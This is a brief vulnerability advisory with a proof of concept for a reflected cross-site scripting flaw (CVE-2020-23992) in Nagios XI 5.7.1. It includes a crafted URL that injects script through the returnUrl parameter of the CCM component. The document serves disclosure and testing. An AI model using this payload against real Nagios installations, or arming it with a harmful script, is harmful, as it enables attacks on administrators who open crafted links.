Headline
CVE-2020-23992: GitHub - EmreOvunc/Nagios-XI-Reflected-XSS: A reflected cross-site scripting (XSS) in Nagios XI 5.7.1 can result in an attacker performing malicious actions to users who open a maliciously crafted lin
Cross Site Scripting (XSS) in Nagios XI 5.7.1 allows remote attackers to run arbitrary code via returnUrl parameter in a crafted GET request.
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Nagios-XI-Reflected-XSS
A reflected cross-site scripting (XSS) in Nagios XI 5.7.1 can result in an attacker performing malicious actions to users who open a maliciously crafted link or third-party web page.
PoC
To exploit vulnerability, someone could use a GET request to ‘http://[server]/includes/components/ccm/’ by manipulating ‘returnUrl’ parameter in the request body to impact users who open a maliciously crafted link or third-party web page.
http://[server]/includes/components/ccm/?cmd=modify&id=1&page=1&returnUrl=%22%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&type=host